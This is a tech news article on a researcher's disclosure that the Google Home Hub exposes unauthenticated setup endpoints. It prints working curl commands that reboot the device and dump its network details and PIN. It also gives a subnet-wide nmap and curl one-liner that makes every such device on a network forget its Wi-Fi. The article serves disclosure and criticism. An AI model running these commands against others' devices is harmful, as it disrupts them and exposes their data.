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The Google Home Hub is deeply insecure

Security advocate Jerry Gamblin has posted a set of instructions – essentially basic lines of XML – that can easily pull important information off of the Google Home Hub and, in some cases, temporarily brick the device.

The Home Hub, which is essentially an Android tablet attached to a speaker, is designed to act as an in-room Google Assistant. This means it connects to Wi-Fi (and allows you to see open Wi-Fi access points near the device), receives video and photos from other devices (and broadcasts its pin), and accepts commands remotely (including a quick reboot via the command line).

The command – which consists of a simple URL call via the command line – is clearly part of the setup process. You can try this at home if you replace “hub” with the Home Hub’s local IP address.

curl -Lv -H Content-Type:application/json --data-raw '{"params":"now"}' http://hub:8008/setup/reboot

Other one-liners expose further data, including a number of micro services:

$ curl -s http://hub:8008/setup/eureka_info | jq
{
"bssid": "cc:be:59:8c:11:8b",
"build_version": "136769",
"cast_build_revision": "1.35.136769",
"closed_caption": {},
"connected": true,
"ethernet_connected": false,
"has_update": false,
"hotspot_bssid": "FA:8F:CA:9C:AA:11",
"ip_address": "192.168.1.1",
"locale": "en-US",
"location": {
"country_code": "US",
"latitude": 255,
"longitude": 255
},
"mac_address": "11:A1:1A:11:AA:11",
"name": "Hub Display",
"noise_level": -94,
"opencast_pin_code": "1111",
"opt_in": {
"crash": true,
"opencast": true,
"stats": true
},
"public_key": "Removed",
"release_track": "stable-channel",
"setup_state": 60,
"setup_stats": {
"historically_succeeded": true,
"num_check_connectivity": 0,
"num_connect_wifi": 0,
"num_connected_wifi_not_saved": 0,
"num_initial_eureka_info": 0,
"num_obtain_ip": 0
},
"signal_level": -60,
"ssdp_udn": "11111111-adac-2b60-2102-11111aa111a",
"ssid": "SSID",
"time_format": 2,
"timezone": "America/Chicago",
"tos_accepted": true,
"uma_client_id": "1111a111-8404-437a-87f4-1a1111111a1a",
"uptime": 25244.52,
"version": 9,
"wpa_configured": true,
"wpa_id": 0,
"wpa_state": 10
}

Finally, this line causes all devices on your network to forget their Wi-Fi, forcing you to reenter the setup process.

nmap --open -p 8008 192.168.1.0/24 | awk '/is up/ {print up}; {gsub (/(|)/,""); up = $NF}' | xargs -I % curl -Lv -H Content-Type:application/json --data-raw '{ "wpa_id": 0 }' http://%:8008/setup/forget_wifi

As Gamblin notes, these holes aren’t showstoppers but they are very alarming. Allowing unauthenticated access to these services is lazy at best and dangerous at worst. He also notes that these endpoints have been open for years on various Google devices, which means this is a regular part of the code base and not considered an exploit by Google.

Again, nothing here is mission critical – no Home Hub will ever save my life – but it would be nice to know that devices based on the platform have some modicum of security, even in the form of authentication or obfuscation. Today we can reboot Grandpa’s overcomplicated picture frame with a single line of code but tomorrow we may be able to reboot Grandpa’s oxygen concentrator.



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